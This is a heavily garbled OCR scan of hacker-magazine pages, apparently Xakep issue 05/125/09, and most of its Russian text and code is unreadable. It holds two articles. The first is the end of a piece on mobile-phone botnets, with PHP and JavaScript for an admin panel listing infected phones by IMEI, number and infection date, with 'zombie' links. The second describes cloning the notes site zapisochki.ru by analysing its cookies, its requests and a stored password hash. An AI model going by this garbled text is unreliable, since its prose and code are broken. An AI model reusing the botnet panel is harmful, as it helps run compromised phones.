$resulc. = $dbEandle->query ($sqlGetView) ;

cepeepOM. MO.lKeT nO!1Y'-ll-1TbCfl npeKpac­ Hbl~ MY1lbm-nJlaT¢Op~

catch ( Exception $exception )

echo '<table border"" 1" l-!idth="1 00%'

height=QI00%">':

MeHHbliil6oTH€ r .

die($exception->getMessage()};

echo '<tr><td><ftd><td>TD</tcl><td>IMEI</ td><td>Phcne nurr..bcr</Ld><td>In:ected Date<1

)

)

td><td>Last Active Date</td><td>Alias</

td><td>Comment</td><ftr>';

nOClle 3Toro Han~ weM ew,e ,Q8a CKp>1nra )J,!1~ oT06pa)l(eH>1fl III peAaKnlpOBaHVI>! 6pO,QKaCT VI cnel.\>1anbHO~ KOMa H,Il,bl Sbl­

echo '<scripL

la~gua~e='JavaScript">

function changeAlias (idl { document.getElementRyld

( "changeAlia$" +id) . style. display=" " ; docurrcnt.getElementBylo. ("showA1ias"+id) .style.display="none";

6paHHoMyycTpoLilCTBy. V1CXOAHl-1KVll-1X tj)YHKU,l-1~ ~ np>1BO,D,VlTb

, dvd

He 6y.o.y. OHIII aHaJlorlll4Hbi yw.€ pa306paHHbiM 1-1 He HY~,D,afOTC~

Pa6o'-lYIO OCpCllllO

e KOMMeHTapl-1l'lX. Ha .QIiICKI? Tbl Ha~AeWb nOllHble \1CXO,LlHVI K\1

CKpl1nTOB \16\16111-1­

nplllllOXeHl<lfl.

6e3 TpYAa pa36epeWbC51

>1 ,D,OnV1WeWb HY.:>l<Hbl~

OTeKl-1 ,[IJHI pa60Tbi

epYHK~1II0Hall. eCJlIII nOTpe6yeTC51_ MoeTBopeHV1eTbl MO.:>l<eWb

c SQLite 1-13 PHPTbl

Ha5!110.o.aTb Ha CKpI-1HWOTax. Ew,e pa3 OTMeyy. YTO cneu,V1­

H3~.Qewb 113 ,D,1-1CKe.

allbHO .Qen31O KOA nOHflTHbiM iii npOCTblM. a He 6l.>ICTPbIM III 5e30naCHblM.

function changeCOlTh'TIenl (id) {

3AKJlI04EH~E

document.getElementRyTd

("changeColl1J1':en!.. "+id) . style.display="

document.gelElementByld

("showComrnent"+id) .style.disp1ay="none';

funct..ion openZombie(idl ( windo,.~.

locat ion. href=" zo:n.bie. php?io=" +id;

MwtJ >!H.

0 Hecyw,eCTBOeaHl-1111 TelleepOHHblX 60THeTOB pa3Be­

Ka K MIIIHl-1MYM. Tplll

KOM3H.Qbl, 3

:no Y:i<e

TeCTOBblX 06pa3~a Bblno.nH~nlll MOIII

6oTHeT:l. ECTb H3Ae.:>l<Aa. YTO B CKOpOM

speMeHlt1 npou,eccopbl Mo61111lbHIIIKOB CTaHYT ew,e 6b1CTpee.

~

naMSHV1 6y,o,eT 6011bwe, a KHonOt< He oCTaHeTCl'l BOBce. Tat<

BHl-1M3Hl-1e! lIlH$Op­

Vl11>1 >1H34e, ypoBeHb 6e30nacHoCTIII Te!1etj)oHoB Hel<l35ew.­

Mau,lIIfl npeACTaBn€ H 3

HO B03paCT€ T .

l\1nepSVl30pbl VI nOAnl<lC3HHblC1 KOA CTaHyT

OCHOBonOnaralOl.L\l-1MV1 Tpe60aaHlt1RMl-1. 04eHb HaAelOCb. 4TO

</script>' ;

Hap51AY C 3H1M BblpacTyT ypoBeH b l-1 KOJl>1lleCTBO

cne~l-1aJll.1C­

warning

lilCKllIOY l<lTeJlbHO C ll,e1lblO 03H3KOM­ 1IeHIilR!

Hili

aeTop, Hili

TOB, KOTopble 6YAyT B COCTO~ Hlt11-1 aCKpblBaTb T3Kllle 3aUJ,IHbl

peA3Kll,l<ll'l 33 TBOI-1

$pagevie'I>' = $result->fetch();

KaK BcerJ\a. Ha sce sonpocbl OTBeY31O B 6nore !.J.11Q:l/oxod.

Ae~CTBIill'l OTBeTCTBeH~

'dhile ($pageView)

[I,!_JA34l<l! I

HOCTI1 He HecyT!

XAKEP 05/125/ 09

~

059


:<AKEP

:1o.'~E~~Af:AA;t1 r Ilj

~AA'-11:-1 ~

x

;~AI<EP

[j] III r~AI<EPx~ [j] III ~ t

::JAA~~ x~

r::JAA~~ x~

t::JAA~~ x~

t

LiJl I

--

r8Ar\\I"jV1 x~

::JAA~~ x~

IrJr ,..:=-::AI<EP 111 r X~ LiJ

[j] III G'(AI<EPx~

I~ ~ II~ [j]

!1J

8AA'~~·1 ~

x

'<'.

ru_~

t::JAA~~ "~

~<AK~

XAI<EP x

8AA'-iH

r::JAA~l--l x~

r8AAYl~ x~

l'OMAH .SPIRIT. XOMCHKO

~ BOnWEEiHblE

~

/ HTTP,IITUTAMC.CO,",I

3An14C04K14

r

8AA'-IVi x

~

MeTOAi'lKa nonHoro KOni'lpOBaHi'lSi CAIi1TA

Cei:1LJac CTaflO MOAHblM AeflaTb cai:1T Vl Ha3blBaTb ero CflOBOM «CTapTan». 3TVlM 3aHVlMafOTC51 Bce, KOMy He fleHb. Hy, Mbl TO}t{e }t{VlTb He MO}t{eM 6e3 CBoero CTapTana. Ho BeAb caMVlM nVicaTb -

He Haw MeTOA. flyLJwe B03b­

MeM cai:1TcoceAa VI nOflHOCTbfO, co Bcei:1 cPYHKlJ,VlOHaflbHOCTbfO, cKonV1py­ eM. •

A nOTOM

BHVl3Y CMeflO nOAnVlweMC51 CBOVlM VlMeHeM . HTML -$a~JlOS

KaK-TO Se'1epOM, nepe6lo1pa51 KJlei1KVle fH1CT04­

nYCTblM. EClllo1 Ha>KaTb Ha 11I060M MeCTe. TO nol'l­

CTOR11ltlI-'13

1<101 He ca{he zRQlsochkl.ru. 5l nOI1Man ce6R Ha

BltlTCl'l «KJ1e"'KIo1~ llltlCTO'-leKi> -

oT,Qaaallocb 6paY3epy nOJ1HOCTbfO ,ll,JlS1 cT06pa­

MbICJH.1, '1TO 8Jlap,eneu, cepsliIca MO)KeT, BTeOp_Hi,

B KOTOpOM MO>KHO nl-1CaTb TeKCT 1-1 3aT€ M ero

4liITaTb Bee, 0 4eM s:l Hanl.1CalL V1 rnaSHbll1 Bonpoc

pe,o,aKTl-1pOaaTb_ TaK>Ke. 8 yrfly eCTb ManeHbKI1~

HY)I(HQ 6bl110 Jll-1Wb 3anyCTl1Tb nporpaMMy, KOTOpal'l

Aa>Ke He 60 Bn8,o,eJlbu,e -

KBa,o,paT~K. Ha)l(ltlMaR Ha KOTOPbl~ MO>KHO MeHl'lTb

on;pblsaeT Bce CCblflKI-'1 Ha cai1Te \II ccXpaHl'leT Bce,

Be,O,b MOl.-1 m06111Mble

HeK\II~ KBa,QpaTI-1K,

:>KeHl-1R. YT06bl CKOnltlpOsan-. cai:1T C norpOXaMI-'1,

cneu,cny)l(6bl TClK)f(e MOlyT ::lTO ,O,enaTb! OTKa3bl~

LlBeT flltlCT0'-1K3.

BaTbC" OTcepsVlca 51 He nn8HVlpoaan, B CBIBlil C

eTCl'l3am1COYK3. Becb ltlHTep¢lelilc BblnOllHeH C

V1 eCTb KpeCTltlK, AJAX,

KOTOpblM y,Qal1l'l­

era Ka«eCTBOM VI none3HOCTblO, n03TOMY peWl-lfl

ltlcnOflb30BaHI-1eM

B3JlOMaTb cepsep. CKonlo1pOBaTb Bce IKXO.L\HVI l(1I1 V1

He neperpY>K3eTCl'l, Pa504al'l nOBepxHOCTb, Ha

YCTaHOBJ,1Tb ~X

ce6e. CKa3aHo

VI KapTI-'1HoK. 3fO,Q06po

101 CTpaHltll\a nplll pa60T€

4TO oTAaeT cepsep, He 3aTeM B Mltlp Be6a npl1LUl1a AI-'1HaMltlKa, ltl Konl-'1pCBaHl-1e ca\:1Ta CTaflO 3<lAa4ei1

Ype3Bbl'-la~HOTpy,QHOV..

K npVlMepy, ¢lOPYM C co­

o6w,eHltlRMltl. ila>Ke eCflltl no HeMy npo~.c.eTcSl 60T

KOTOPO~ HaxO,Ql'lTCR 3anIllCOlIKl-1, Ha3b1BaeTCl'l «AO­

l-1 coxparH1T Bce CTpeH(I1L1bl, -

8 6o~ 3a p,ocryn eCTynIo1JlV1 pa3Hbie nplo1eMbl npo­

CKa» [board]ltl Y1MeeTYHI-1KallbHbl~ltl,o,eHTltl¢!Y1Ka­

npaKT1-14eCKl-1 aeCb$YHKl\ltlOHaI13a6poWeH B

aepKlo1 Ha 101 HbeKl\l'Il-1 , Io1HKJlY.Abl, npOCTble napOJll'1

TOp, 4TO oT06pa;t<aeTCSlB

URL. 3ry VlH¢OpMaLll-11O

V1 np0'-jee. 3Ta Io1Ael'l C rpOXOTOM npOBaiH'111aCb,

Sl paCCKa3al1, nOTOMy 'HO

6e3 Hee CJ10>KHO nOHRTb

npaBp,a, 83aMeH p0.Alo1naCb HoaaR,

CTaTblO. OnTl-1Mal1bHblM Bap(l1aHTOM 6YlleT. eC111-1

fla He Ha6fllO,QaeTCR ltl, Ka3aflOCb

nepeA np04TeHlo1eM cfle,QyfOllIl-'1x a63aLl€ B TbI3aii­

cai1TCTano HeB03MO)KHO Ho TyT npl-1wna 3pa Be6

AeWb Ha ca~T 1-'1 caM ltlcnpo6yewb ¢YHKl\ltlOHan,

2.0!

He Morna He peam·130BaTbCl'l.

-

Cp,ellaHO. Cpa3y

Ho -

KOTopa~

npocTO

npepeeMc"

HeMHoro 101 nOCMoTplo1M, '-jTO co6oVl npeACTaE3fl$1eT

CKp\o1nTbl, KOTopble OCTaIOTCl'l Afll'l Hac 3aKpbITbIMl-1. npI--I3TOM, TeHp,eHl\l-1V1 K ynpow,eHltllO epYHKl\ltlOHa­

fib!, CKonlilpOBaTb

O,ll,Hl-1M 1--13 ee acneKTOB flBfl$1eTCSl nepeHOC

60nbWO~ 4aCTIo1 ¢!YHKl\VoOHana C cepsepHoro

ca~T zapIsochki.ru.

3Anlo1C04KIo1

3TO Hltl4ero He )J,aCT.

B03~O>KAEHIo1E

ypCBHR Ha 6paY3epHbl~.He JavaScnpL -

a Be,ll,b

CTAPOIo1 METOAIo1KIo1

OH OT,QaerCl'l HaM 13 OTKPblTOM BYlAe! YeM 60JlbWe

Cep8\.o1C OHJlaiitH-3anlo1COyeK OyeHb npocT. 101

BepHeMCR K pacnmTpeHltllO Mera-cTapoi1 Me­

CltlCTeMCl 6y.oeT pa60T3Tb Ha CTopOHe 6pay3epa.

3T3 npoCToTa p,bflBOllbCKltl nplo1T$1rVlBaeT, nocl1e

TO,o,l'1KI-'1, KOTopaR ce~4ac CHOBa B03p0>K,QaeTcS1

TeM MeHbwe KO,Qa H3 cepsepe -

3aXO)J,a H3 ca~T BeCb 3KpaH 6pay3epa CTaHOBV1TC$1

PaHblJJe Bce cai:1rbl 6bll1l-1 CTaH1'-leCKltlMliI -

Toro OT Hac KO,lJ,a. 3TOT ManeHbKV1C1 YlBCTOK KOAa,

.060

co­

TO eCTb, CKpbl­

XAKEP 05 1125/ 09


IXAKtl-' U p

-

[j] II t>\AKEP ~

.

. [] r

!:lAA',l-1

,­ -

>~AKEP

--.---­

-

[J] III rXAKEpx~

x

,

- - - - - --

t!:lAA'-ll-1

~~, 1!'_1i!!I!II!I!I_~_====~IIIIiiiiiii'iJ!,

.-­-

x~

XAKEP

-

~..;.-~ I";;;;';;;;;;!'lom<=-~_~'~'_=~'~=-'I '--" _.. ,j" ,.;,;....,u~~I."'"

'....,.,.."'... _ _ 1

,~

•.--..0 '"

:•."'--0.....

'I::::'~

.­ . --

x

«q_ .........

,-

--

--­

~

~",_E",""'"

....

r~AA"H x~

x~

-

~~-..

~

I_~

---------

",~

--..._

>> 83.o\0r:1\:1. ~

c........,...,.

1l7~

i

1:

)u!

......"'••9J

_,011",

-.-----:

1\O"~·I."·I:"')"

XIOUIIUl111OWI11u;.:

m 1_...

I: ~=_.~._~._~_~~~-~.o

--­ ~1-"~

jj!!

""'"',..~!

._v_

1)

_. ...

.~_.

_.~_

,,,'~-~

OFFLINE BROWSER - IlY4Wl-l1it AIlSl C03AAHl-lSllllEIitKOB FIREFOX nllArl-lH TEMPER DATA

KOTopbl1ii MO)l(HQ l-1 CBMCMy ,D,onV1CaTb, -

MeflOYb

no CpaSl-leHVlIO cToi14aCTbK:l, 4TO Mbl 6e3 npo6neM

s:l nonpo6oaaJl YJlalllllTb npl-1We,l:\Wlo1e

OTJIa~KI1 JavaScript K aHdJIJ13a 3anpo­

napOJl€ M .

COB.

KYKI-1Cbll-13arpY3~Jl ZClpisochki.ru/MHoro_lll-lq,PI.

CKOilYlpyeM. Teopl-151 MQ::KernOra3aTbC51 HeMHoro

)J.a)Ke 6e3 JlorlilHa 1iI naponl'l, 4TO 6bl.l1l-1 B KyKlIIcax,

HenoH"THoi7l, HO nocne npaKH1Kl-l Bee 8craHer Ha

TalOK€ H€ o 6xOAIIIM Offline Browser AJHl CKa4!1l­

CTpaHViYKa HOpMaJlbHO oT06pa3l11JlaCb. ,l],e.l1aeM

CBOV1 MeCTOl.

SaHYI\1 Bcero ca~1Ta hpl-1aJlbHal1 eepcl-1s:l eCTb Ha

BbIBOA, '-ITO l<1AeHH1¢IIIKau,liI~ npOlilCXOAl-lT liIM€ H HO

VlrJr, B ra4eCTse npJ..1Mepa MHOYi 6blJ16bl6paH

wwwmetaproducts.com/mp/Portable

caYir ZC!Qlsochki. ru. MHoro <t>YH:<~l-lOHaJlbHOCn1

Browser,hlm t1Jll-1 yHac Ha AII1CKel.

8 HeM HaXO,D,I'ITGI Ha CTopOHe

JavaScript. a

Offllf1e

KO 3BnpOCOB no coxpaHeHVHo, 05H08JleHV1K>

v,

Y,ll,aneHYl+O KlleYiKI1X IlL1CT04KQB. ECIlV1 nOnbiTaTbC51

3TAnbi KOnIi1POBAHIi151

,o,eHaepe XOCTC MHor03Ha41i1T€ J lbHbIM Ha3sa­

CJleAYlOlJ.Il-1X :,nanos:

HliI€ M «Z». AIl~ 3MylllHl,1iI1i1 rnasHoVl CTpaHliIYKIII - Ha6pocan CKpl-lnT, KOTOpblC1 npYl3aXOAe Ha caVlT

• AHanl13 M 3MYJlf.lUl151 >{~eHTH¢V1Kal.1J1M;

HpKHO nOH5lTb, KaK pa60raer nplllJlO)KeH~e.

• Konl1poeaHMe CTpaEI1Ubl C 3anI1CO"l:Ka­

KaKlIIMIII KOMaHAaMIII 06MeHlt1BaeTCs:l cepBepHas:l

MH;

III KJl\IleHTCKaR '-laCTb, KaK

reHep~pyG!TC51

nepBas:l

CTpaHIIIL.J.a 111 T.n. nowaroBo npoi1,n,eMCs:l no BceMy npOl.(eccy nonHoro KJlOHl>1pOSaHl'1s:l.

lt1AeHTliIq,l-1KalJ,IilIO.)J.ns:l3TOrO >l6bICTpO C03AaJl Ha

KonlllpOBaHYle caiha «3anYlC04Kw> COCTOl-1T co

;'MyflYlpOaaTb 3H13anpOCbl. TO MO:>KHO nOJ1HOCTblO

CKa4aTb c cai:1ra Bee ocraJlbHoe. npaS,D,a. CI-layalla

a Jlorl.o1H 1iI napOJlb Tpe­

Tenepb MO)l(HO Konl1pOSaTb ca~T lt1 peanl-130aClTb

Ha

CTopOHe cepaepa IlV1Wb BblnOJ1H>lIOTC>l HeCKOflb­

no 3TliIX lJ,liI<pepKaM BURL,

6ylOTCR JlVlWb,lV1>l BHyTpeHHlo1x Hy>KA caVlra.

«z» 6YA€ T npOSep>lTb KyKl-1Cbl. ECJllil OHliI eCTb. TO. liICXOJ\R 1iI3 HIIIX, 103ep 6YJ\eT nepe6poweH Ha T'f AOC~,

• AHanH3 npOTOKona 06MeHa KJ'lMeHTCKOM '-:laCTiIl C cepBepHoi1;

KOTOpas:l npOnl-1CaHa y Hero S KyKlIIcax

TaKlo1M 06pa30M. ecnlll S oplilrYlH811€ s KyKl-Icax XpaH>lTC>l1l0rlilH 11 napOllb. no K01'OPbIM

AHanl13 reHepaW1M !"Jl8HHOM CTpaHMlJ,bI;

• [JporpaMMI1Hr Cep!lCpHOM "laCT>-1.

Ii1HCTPYMEHTbl

y%e

nOKa3bISaKlTG13anll1e04l(1I1, TO Mbl HeMHoro Bee ynpOCTlt1M l-l 6YAeM xpaHlIITb Yl,QeHTYl<f!liIKaTOp AOCKlII. 3anl'1CO'iKIII 6y.o,yrnplilBs:l3aHbl K 3TOMy

YTo6bl pa306paTbGI C pa60TCc.; caiha. 80C­

Bpe3YJlbTaTe Mbl nonY41i1t.4 nOJlHOCTblO pa60YlIIiiI

1iI,l:\€HTliIepIllK8TOPY. ,Qa. 3TO He COBceM npaSIiIJlb-

nOJlb3yeMcR FireFox C YCTaHOBJleHHblMIil TpeMSl

ca~T zapisochki.ru yce6s:ll-la nOKaJ1bHOM cepeepe.

HO co CTOpOHbl 6e30naCHOCTIII. HO HaM maSHoe nOJlY41i1Tb pa6041i1V1 ca~T. a A080JlKO~ y;ll<e MO>KHO

nJlan1HaMIII:

• Temper Daea (https://addons.

AHAJlli13 Ii1AE HTIi1<1>Ii1 KAUIi1Ii1

mozilla.org/en-US/firefox/

nepeA KOnl1pOBaHIo1€M pa36epeMC>l C IiIAeHTliI<pYl­

3aHIIIMaTbC>l nOTOM. lilTaK, Mbi MO)l(eM HanttlCaTb Man€HbKliIC1 CKplllnT, KOTOpblL::i 6y.o.eT 3MyJllilpOSaTb lIIAeHTlt1eplilKalJ,l-IlO,

addon/9661 Alls:l npocMoTpa, nepexBaTa

KaL.J.Y1eVlI03epa, BeAb y Ka)KAOrO C80>1 CTpaHYlL.J.a c

KaKyKa38Ho Sblwe. 3Tlt1M CKplilnTOM MbI3MY­

M :l13MeHeHy..» 3dnpOCOB;

K.I1ei1Klo1MliI JlIllCTO'-lK3MliI, 1iI Hy>KHO 3HaTb, KaKoMy

JlIllPOBilJ1li1 <f!YHKu,1II0HaflbHOCTb. CB>l3aHHYIO C

• Web Developer (https://addons .

103€ P y Ka Klo1e 3anlilC04KliI oT06pa>K3Tb. nepeA

liI.o.eHTliIepIllKall,l-1€~. nopa npl-lCTynlilTb K cneJlYIO­

Ha4B.I10M aHanlll3a >I, C nOMow,blO nJlarlo1H3 Web

w,eMy 3Tany.

. mozilla

.o~en-us/firetoxl

addon/6Q.1 ,o,J!s:l OTKlllO"leHI1.l'1

Ke~a

6pa­

Y3epa-, JllIH npoc)ol::npa 11 ynaneHIli51

2'3pisochkl.t"lJ. -

,KYKHCOB;

• FireBug

(ht~ps://addons.mozilla.

org/en-US/firefox/adcon/1843)

XAKEP

os 11251 09

Developer, YAanlo1Jl

Bce KYKIo1Cbl AJll'l

neplllMeHTa. BKnKlYViS Temper

AnH

4Y1CTOTbl 3KC­

Data. 5l3arpy31i1n

Ha 4TO cepaep BepHyJl KOA nepe­

OFFLINE EXPLORER BPA60TE

aApecalJ,Yl1il302 Ha zapisochki.ru/MHOrO_L.J.liI<f!p/,

PaCCMOTplllM KonlllpOBaHliI€ epyHKlJ,1iI0Hanb­

,[\3 III elJ.le 6pOClI1Jl KYKliICbl C KaKl-1M-TOJlOrIllHOM 1iI

HOCTliI caMIIIX nl1CTOYKOB nepec.;AeM Ha ca~'IT

~

061


IXAKEP ~

I!:lAA'"lH~

[j] IIJr'\A~~EP'~ [j] IIJrXAKEpx~

iXAk

§!,..~~~I!lJ?~~_~!.

[j] I

~....~e~~_6!.I.

tlt.tp_;J!_~~pi!3<:>.c..tl~l.cr::IJ.'.?~~4~.9_~?~!~.4.~.?_~_~_~~.?~ . ~Q.~.Z4_~.?_~.ll.??~!

I~

=1

x

K

I

1-'

-

rI rn

-

I

I Tue. 16 Mar 201013:54:22 GMT

]

V .~_c.!~.f_<?g_~!.~. )( P.~.I_~~.~. .9~~_~i~. password 5abca135b836f71 b8694705453bC0271911 e035 zapisochkLru

No

FIREFOX nnArl1H WEBDEVELOPER B PE>KliIME npOCMOTPA KYKliICOB

lBQisochki.l'LJ! MHOro UlidlO, c03,o,i3,ll,I'IM HeCKOJ1bKO pa3Hbix

3amKOK'" nonpo6yeM CKonl.1pOBi3Tb HTML-CTpaHV1lW co Bcei1

load=effects,dragdropn

CMQTpeTb, KaKl'le cPai:lJ1bI3arpy)+(aIOTCSl BMeCTe co CTpaHw.;­

cype="text/javascript"><!SCTipt>

30BaTbC" Io1HClpYMeHTQM

links

src=- .. /scriptacu!ous.js@

0681'31<0(1. KOHe'-lHO, MO)l(HO Bee 310 V1 Bpy'-lHylO npo,o,e.naTb, ~

KOVl, lil nOTOM lilX KonlilposaTb no 0AHOMY -

t>

<script

AJls:!

HOJ1y..,we BocnOllb­

C03,o,aHVlQ 4JeViKOB. a VlMeHHQ

Olftine Browser. 3anycH1M era

1'1

B Ki3yeCTBe l.>1Cxo,o,Horo URL

Cpa3y Brl1a3a 6pocaeTCI1, '-lTO nOCile scriptacuLous.js VlJ],€T «((}». XOTI1 8 TeOp111t1 t\0Jl)i(eH 5bITb«?» (::lTO )l(e-G et -3anpocl.

• A,ll,pec Hawero

3aAi3,o,I-\M zaoisochki.ru/MHorQ UH<bp. napa KI1I<1 KOB Ha Next

nOH5ITHO. '-ITO TaK CAeJl3Jl Offline Browser, 4T06b1 npeSpaTltlTb

nO,ll,OnblTHoro:

-ltl catn nOI1HOCTblO coxpaHeH. noclle :noro BOCn0J1b3yeMc51

J],L-1HaMlt11.leCKIt1 caiiT [1 CTo3TW--jeCKI<114, HO HaM aHa He Hy)l(HO.

mis.Ocb.hLnl.

<pyHKLJ,V1eVl3KCnopTa V1 COXpaHL1M pe3y.nbTaT. B KaTanore 3KC­

nO:3TOMY s03Bpaw,aeM Bce Ha3a,llltl 33MeH>1eM «fa}> Ha «?}), a

nopla nO>1SIo1J1aCb nanKa CHa3BaHltleM zapisochki.ru, a 8 Hei:l,

<pai:1Jl scriptaculous.js0load::effects,dragdrop nepelt1MeHyeM B

• Bce J],onOJlHeHI1\1

BnanKe themes, ­

K FlreFox,

TaK>l<eTaM eCTb nam::a «MHoro_u,wpp». a a He~ 0AI<1H q,a14flYlK

60 SKfla,Qe Net 6 FireBug n05lBYlJllo1Cb ABe owlt16!<.l--1 HOMep 404,

C Ha3SaHI<1eM default.htm.

TO eCTb, ,D.syx <pai:1noa He 6blJ10 06Happ<eHO, 3 L-1~eIlHO:

g\1.d.oos mozilta.org,

ace Hylt<Hble KapU1HKltl. CKplt1nTbl L1 np.

AaJ1ee 51 CKOJlltlpOBafl BAeHsep nanKltllhemes

lt1

V13H3'-1aflbHbltl - scriptaculous.js. nOCJ1e :noro Mbl YSl--1,ll,ltlM, '-ITO

«MHoro_

lllt1<pP», a detault.htm nepeltlMeHOSaJI Ha Index.php. EU1lt13atlTltl

c[fects.js

a 6pay3epe Ha hllpljzlMHQ[o 6YK080~, TO oTo6pa3l1TC>l CTpa­

dragdrop.js

Hlt14KCl CHaWlt1MI13aKna,D,KaMlt1, npaB,Aa, He Bce nOKa pa60TaeT. nO'-leMy-TO He ,D,Blt1raKnC5I3aKna,o,Klt1. Ceili4ac lt1CnpaBlt1M ..

)J,OCTaTb ltlX He np06J1eMa! CMOTpVlM e FireBug nyTVI, 3arpy::t<aeM c cepsepa 3anltlCO'-leo:: L-1 coxpaHSleM KocrailbHblM CKpltlnT3M.

FIREBUG V5. OFFLINE EXPLORER

06H08\11MO; VI y6ltl,Alt1M, '-HO sce oTo6.3a31t1110Cb, OWI160K HeT, Aa

OTKpoeM Haw FireBug ltl aKTI<181<1pyeM BeCb q,YHKLl.L-10HaJl. Ha­

VI KTOMy >Ke, ece ¢YHK4ltll1 c 303nlt1COYKaMlt1 CTanVl HopMallbHo

npYlt"ep, Ha)l(aB Ha ElKJlaAKe «Net». nOCTa6Y1M Be3Ae ro3J104KIo1

pa60TaTb. O,Alt1H lt13 3TanCB SblnQ,'lHeH.

lt1 Ho3)l(MeM «npltlMeHlt1Tb)}. Tenepb, KorAa nepel4,o,eM Ho3 8KJlaAKY

«Console», TaM nlt1WeTC51 '-ITO-TO TL1na «OW\II6Ka Cdragdrop)

TYT HY'KHO OTna>IU1BaTb Javo3Script, CMOTpeTb, S '-IeM npo6ileMa,

~

062

YAAllEHI1EJU1WHEro Kpacory HeMHoro nopmT «pa3 bexaaWliltlC>l» J],113a~H ­

HO 51 soCn0J1b30BanC51 APyroili MerO,ll,V1Koi1, \II oHa cpa60Tana! 5l

6Y,QeM L-1Cnpa6Jl5lTo l ECJ111 H3)!(aTb Ha «L-1HcneKTopa» B

OTKPblJ1 CKa'lC!HHbl14 default.htm 11 B nOI<1CKe BBeJl «dragdrop"­

FireBug 1<1 HaBeCTltl Ha Ho3we MeHlQ, TOYBl1,ll,VlM, 4TO 3TO

KYPCOP nepCMeCH1JlCSl Ha CTpO<.<Ky:

Bce cAHa Ta6Jl114a. HaM ee He >Kameo, 3aXOJ],V1M 8 I<1CXOJJ,­ XAKEP 05 11251 09


IXAKEP ~

p

x

n [j] •

l:lAAl..l1A U ..,. -ij::' Con~te

Inspect Clear

I~

HTMl

s<ript -OOM

CSS

Relereme

200 0(

X

3KS

260ms

356ms

".

~EP

,""

2000< :<00 0<: :<00 0' 200 0< 2-.)0 <X NO (i(

GET close.gif

[] IIJ~ OJ. ~<=Af(E==;;;"]pX ~ P.._ ...._xii e~._ E'J

1241(5

404Nol FOU'od

(iJ GET rlghting.as

>> 8::AOl',1

c--­ ····_-,~··_;;;·.~-~----·_---==--=--=====::;;=::jl X

~oo QI,

GEl webtoolkit.utf8.j5 :il GET sticker.js :Ii GET window.js Ii! GfT default.as (ti

~~

C55 JS XHR fm.ge5 Huh

1. Nel'"< J­

"""U~-'-I·""·'-&O<>C"'..-:>·.u:r",,,:'''''r.,u----r>.lV",,,

&> GET sticke•.css GET prototype-l.6.0.2-Js ,iJ GET scriptaculous.js7to.d=efl"c

r~AAI..Iv1

~<AKEP

r::JAAYk1

HTML

IXAKEP ~

~

""" "KB 'KB 23KB

'"

~ests

-

233KB

I~AAI...IW

FIREFOX nllAn1H FIREBUG B PE>K"lME CONSOLE!

3ro 8a)l(HO, BeAb nOTOM AaHHYIO CTpO'-lKy 6YAeT .<!'Q ....tIE:.'"

,-"" .... ",,''''';'<i1~ l!i v~

"' ..... _ _

d

, , . . _ . : ......

npoplilC08Ke 6epeT Ha ce6Sl JavaScript. Ho cTpaH~~y Hy>t<HO

rel-leplilpOS3Tb CKplilnT. TU:lt:;e BlilAV1M. 4TO id

nepSblr1 pa3

nepeAaeTcH nYOblM, a B pe3YJlbTaTe cepoep

A V1MeHHO - Baepxy, s nepeMeHHylO board,

reHeplilp08aTb.

B03sp3w,aeT 4lilcno. ECfllillil3MeHI1Tb K3K0Io1-TO

Bnl-1CaTb TOT lilAeHTlilepV1KaTOp, no KOTOpOMy

napaMeTp 3anlilCO'lKlil (~seT, pacno.nO:lt:;eHlilSllillll-1

nplt1WeJ1103ep

TeKCTI, TO nOCblflaerCI1 TaKolo1 >Ke sanpoc. TOllbKO CAenaTb Bblf:lO~, "la, eCJlV1 id nYCToe. TO cepsep

<IlO PM Ii1 POBAHIi1E 3Anli1C04EK

C03AaeT B 6a3e HOSylO 3anlo1CbO 3amK04Ke lil

EUlYI nOct-lOTpeTb 8 KOHeu lilCXOAHlo1Ka default.

B03Bpaw,aeT KJ1lileHTY ee lo1AeHTl.14>lo1KaTOp. B

hlm, TO MO)K,HOYBVlAeTb CIleAYfOw.ee:

id CTa HOBV1TC" He nYCTbIM. V13 :nora MO)t(HO

npOTlilBHOM cnY4ae

MYSQL FRONT - YA06HE~WEE CPEACTBO AIl~ PA60Tbi C 6A30~

lil3MeH~KHC>l

s 633e napa­

MeTpbl TOcilaanlilCO'lKlo1, lo1p,eHTV1q>V1KaTOp KOTOpoCi

<form id="stickers">

nepeAaeTCI1. nOCMOTpes Ha default.htm, BL<1Alo1M

<textarea id=·s36734"

CTpOKy:

style="left:61px;top:32px;z­ index:!">

Hl'1K cTpaHIo1u,bll'1 YAanSleM Bce MextJ,y TeraMf1 <table~.

Aa

H CaM(Il Ten: TaK.:>i<e.

var saveURL =

.. /noteboard/save/';

TeKCT 3aTlHCO'-lKJ.1 l</textarea>

nocne 06HOB­

<text area

J1eHIHI Ha611IO,D,aeM lttAeanbHblo1 MItlHl1Mal1lt1CT­

- OHa onpe,o.eJ1l<eT nyrb Kepa Villy, 'lTO o6pa6aTblBa­

CKl'101 ~lt13ai1H.

e1 cOXpaHeHlo1e, 1010 Mbl era l'13MeHlilM Ha:

index:O">

Ho 8 «ConscLe» FireBug OmlTb n051BIi1JH1Cb OWl-16·

Kl'1.

Ha 3TOT pa3 -

8 q>a~!1eStiCkeLjs

TanKe TaM

TeKCT

var saveURL

== ' •• /

id~"s36735"

sty1e="left:90px;top:33px;z­

save. php' ;

3am1CO'-lKYI 2</textarea>

</torm>

B03fle OWL<16KL<1 YKa3bl8aeTc~ HOMep np0611eMHolil

CTpOKL<1. ECllL<1 nepe~1T1-1 H(l Hee, a nOTOM YAamolTb

HanlilcaHlileM 3TOro ¢ar1Jla 3aViMeMCI< n03>Ke.

CTPOKY, TO nOCJle 06HOBJleHlII~ OUJl,16Klil tOJlbWe He

Tenepb pacct-lOTpV1M y.QaJ1eHlile. ECJ1Lo1 Ha:KaTb Ha

lil nOTOI>1 lilX 8b1BO.QYlTb KaK lexlarea, rAe B CTlo1Ile

6YAeT. BOTTaK, VlHO'Aa YAafleHVle 6blsaenq>q>eK­

KpeCTlilK, TO B FireBug nOl'lBlilTCfl TaKoCi 3anpoc

npOOI1CbIBaTb n03lilL\lilfO 8 napaMerpblleft lt1lop.

TlilBHee c03AaHVl51.

B

POST /NoteBoard/delete/37094

• npOTOKOJl 05MEHA 3anl-1C04KI-1 ABlilralOTcSl, TeKCT lill.!,Se-r MeHSleTcSl,

BnV1 caTb TeKCT. CI1 id aanYlCO'lI01. URL. no KOTOpOMy 6YAeToTocn3H

peMC~ e npOTOKOfle olSMeHa. 4T06b1 B6YAYW.eM

3anpoc, TaK >t<e, KaK lil Afll1

era 3MyJllilpOBaTb. OTKpoeM HaWlil3anlilC04KI1 B

default,htm'

